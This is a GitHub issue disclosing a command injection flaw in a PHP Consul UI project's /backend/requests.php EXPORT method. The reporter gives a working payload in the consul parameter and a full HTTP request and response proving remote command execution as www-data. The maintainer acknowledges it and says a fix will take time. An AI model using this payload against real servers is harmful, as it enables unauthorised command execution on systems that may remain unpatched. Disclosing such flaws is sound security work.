Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Command Injection on bulkExportFn function #30

Open
elianmarks opened this issue Nov 27, 2023 · 1 comment
Open

Command Injection on bulkExportFn function #30

elianmarks opened this issue Nov 27, 2023 · 1 comment

Comments

@elianmarks
Copy link

elianmarks commented Nov 27, 2023

I identified the possibility of injecting commands when calling the EXPORT method due to the bulkExportFn function using the shell_exec call concatenating the value of $consul without any sanitization. Therefore, by using the echo command to return JSON in the format expected by the function, it is possible to obtain the result of executing the command.

Endpoint: /backend/requests.php
Payload: consul=;x=id | base64 -w0; echo "[{"LockIndex":0,"key":"Test","Flags":0,"value":"$x","CreateIndex":10522112,"ModifyIndex":10522112}]" #&method=EXPORT&path=%5B%22Test%22%5D

-- Full request --
POST /backend/requests.php HTTP/1.1
Host: {IP}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 189
Connection: close
Cookie: PHPSESSID={TOKEN}

consul=;x=id | base64 -w0; echo "[{"LockIndex":0,"key":"Test","Flags":0,"value":"$x","CreateIndex":10522112,"ModifyIndex":10522112}]" #&method=EXPORT&path=%5B%22Test%22%5D

-- Response --
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 65
Connection: close
Content-Type: text/html; charset=UTF-8

{"Test":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"}

@vagharsh
Copy link
Owner

Hi Elliann i will fix that, but it will take time since i have shifted from this long time ago. feel free to open a pull request if you can/would fix it sooner.

thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants